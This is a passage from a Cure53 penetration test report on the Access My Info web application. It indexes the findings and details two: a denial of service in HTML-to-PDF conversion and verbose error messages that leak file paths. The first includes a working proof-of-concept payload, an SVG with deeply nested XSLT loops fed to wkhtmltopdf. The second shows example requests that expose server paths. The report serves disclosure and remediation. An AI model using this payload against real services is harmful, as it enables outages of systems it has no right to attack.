Penetration Test Report (Cure53): pentest report accessmyinfo

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Pentest-Report Access My Info 04.2016
Cure53, Dr.-Ing. M. Heiderich, Dipl.Ing. Alex Inführ, Tsang Chi Hong, Giuseppe Trotta
Index
Introduction
Scope
Identified Vulnerabilities
AM I -01-001 DoS via inline XML Styleshee t in HTML to PDF conversion ( Medium )
AM I -01-002 Overly verbose Error Messages leak interna l Info ( Low )
AM I -01-004 HTML Injection on dev . accessmyinfo . org ( Low )
AM I -01-005 Missing Cookie Security Flags ( Low )
AM I -01-006 SOME on WordPress via Plupload ( High )
AM I -01-007 XSS on WordPress via insecure MediaElemen t ( Critica l)
AM I -01-008 Loca l File Access via HTML to PDF conversion ( Info )
Miscellaneous Issues
AM I -01-003 No validation for language cookies leverages Attacks ( Low )
AM I -01-009 Persisten t XSS in AM I CMS by design ( Info )
Conclusion
Cure53, Berlin · 05/11/16 1/13
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Introduction
“Want to know what your mobile operator or internet provider knows about you? What
do they keep on file? Who do they share it with? According to the HK government's
Personal Data (Privacy) Ordinance, companies are required to disclose this information
to their customers upon request. We can help with that request.”
From https :/ / dev . accessmyinfo . org /#/
This report documents the findings of a penetration test and source code audit carried
out by the Cure53 security consultants, who were commissioned to test and evaluate the
state of security at the Access my Info application (AMI). The assignment involved four
members of the Cure53 team and has taken place over an agreed period of eight days
in April 2016.
The test has led to a discovery of nine security issues, among which seven were
classified as vulnerabilities and further two were considered general weaknesses. Prior
to discussing the technical issues in more detail, it has not be noted that the testing
approach relied on the Cure53 being granted access to the Access my Info’s sources,
staging application and deployment scripts. Under the agreed premise, the Cure53
project’s scope encompassed tests against the AngularJS website (AMI) and a blog. As
it turned out, the latter paradoxically functions as an API that feeds data to the core AMI
website. This note on the interrelation between the AMI and the blog is crucial because
the sole finding deemed “Critical” due to its pervasive severity and impact (i.e. AM I-01-
007), stemmed from an XSS problem found in the WordPress suite. This indicated a
further confirmed core security-relevant discrepancy, namely the overall very good state
of security of the AMI website on the one hand, and, on the other hand, catastrophic
security mistakes found for WordPress.
Scope
• A development server has been made available
◦ https :/ / dev . accessmyinfo .org
◦ https :/ / ap i . dev . accessmyinfo . org / wp - login .php
• Sources made available available online
◦ https :/ / github . com / andrewhilts / am i - api
◦ https :/ / github . com / andrewhilts / am i - community
◦ https :/ / github . com / digitalstewards / am i / tree /amihk
Cure53, Berlin · 05/11/16 2/13
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Identified Vulnerabilities
The following sections list both vulnerabilities and implementation issues spotted during
the testing period. Note that findings are listed in a chronological order rather than by
their degree of severity and impact. The aforementioned severity rank is simply given in
brackets following the title heading for each vulnerability. Each vulnerability is
additionally given a unique identifier (e.g. AMI-01-001) for the purpose of facilitating any
future follow-up correspondence.
AMI-01-001 DoS via inline XML Stylesheet in HTML to PDF conversion (Medium)
During the code audit against the AMI application it was discovered that a PDF
generator tool is being used by the tested project. The /pdf/ endpoint parses user-
submitted HTML code to generate a PDF file. This functionality is implemented in a form
of the HTML being passed to the wkhtmltopdf application.1 The application makes use of
the WebKit browser engine2 to render the user-controlled HTML. It is in this realm that
causing a Denial of Service via an SVG image file and inline XSLT was proven possible.
PoC:
fs = require("fs")
a = require('wkhtmltopdf');
a('<iframe
src="http://127.0.0.1/dos.svg"></iframe>').pipe(fs.createWriteStream('/tmp/out.p
df'));
DenialOfService.svg:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<!DOCTYPE responses [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>
]>
<root>
<node/>
<node/>
<node/>
<node/>
<node/>
<node/>
<node/>
<node/>
<node/>
<node/>
1 http :// wkhtmltopd f . org /
2 https :// en . wikipedia . org / wik i /WebKit
Cure53, Berlin · 05/11/16 3/13
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
<node/>
<xsl:stylesheet id="stylesheet" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<xsl:for-each select="/root/node">
<pwnage/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
</root>
It is highly recommended to avoid the use of wkhtmltopdf for the user-controlled HTML.
Even with a strong HTML filter, like DOMPurify3, it remained feasible for the attackers to
cause the Denial of Service issue. Similarly, utilizing SSRF4 to extract server or network
information was also an option. When the use of wkhtmltopdf cannot be avoided, only a
really small subset of HTML elements or a pre-defined and safe HTML template, should
be used.
Note: During the test it was discovered that the code path in question is not in active
use. However, this ticket has been left as it provides general recommendations.
3 https :// github . com / cure 53 /DOMPurify
4 https :// www . bishopfox . com / blog /2015/04 / vulnerable - by - design - unders t .. . ver - side - request - forgery /
Cure53, Berlin · 05/11/16 4/13
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
AMI-01-002 Overly verbose Error Messages leak internal Info (Low)
During the assessment against the AMI web application and the connected APIs it was
demonstrated that the API endpoints return overly verbose error messages. These error
messages leak local file path information, which could aid an attacker seeking to take
advantage of combining it with another vulnerability. It was found that either a broken or
an incomplete JSON payload is enough to trigger these error messages.
Example Request:
x= new XMLHttpRequest();
x.open("POST","https://api.dev.accessmyinfo.org/notifications/enroll",false);
x.setRequestHeader("Content-Type","application/json");
x.send('{"subscribe": true}')
Response:
TypeError: Cannot read property &#39;operator&#39; of undefined<br> &nbsp;
&nbsp;at validateRequest (/var/www/ami-
community/controllers/enrollmentController/index.js:13:19)<br> &nbsp; &nbsp;at
fn (/var/www/ami-community/node_modules/async/lib/async.js:746:34)<br> &nbsp;
...
(/var/www/ami-community/node_modules/body-parser/node_modules/raw-
body/index.js:308:7)<br> &nbsp; &nbsp;at emitNone (events.js:80:13)<br> &nbsp;
&nbsp;at IncomingMessage.emit (events.js:179:7)<br> &nbsp; &nbsp;at
endReadableNT (_stream_readable.js:913:12)
Example Request:
curl -X POST https://api.dev.accessmyinfo.org/notifications/feedback
Response:
TypeError: Cannot conv